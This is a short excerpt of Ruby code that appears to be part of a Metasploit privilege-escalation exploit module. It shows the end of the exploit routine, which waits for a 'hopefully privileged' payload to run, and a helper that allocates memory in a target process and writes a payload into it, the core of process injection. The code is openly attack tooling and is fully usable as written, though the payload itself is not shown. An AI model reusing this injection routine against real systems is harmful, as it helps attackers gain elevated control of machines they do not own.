print_status("Exploit thread executing (can take a while to run), waiting #{wait} sec ...")
# TODO: talk to the guys about this, there has to be a wait involved before the
# exploit has finished, because the listener has to stick around for a while
# otherwise it shuts down before the exploit has finished.
Rex.sleep(wait)
print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
end
protected
def inject_into_pid(payload, process)
payload_size = payload.length
payload_size += 1024 - (payload.length % 1024) unless payload.length % 1024 == 0
payload_mem = process.memory.allocate(payload_size)
process.memory.protect(payload_mem)
process.memory.write(payload_mem, payload)
return payload_mem
end
end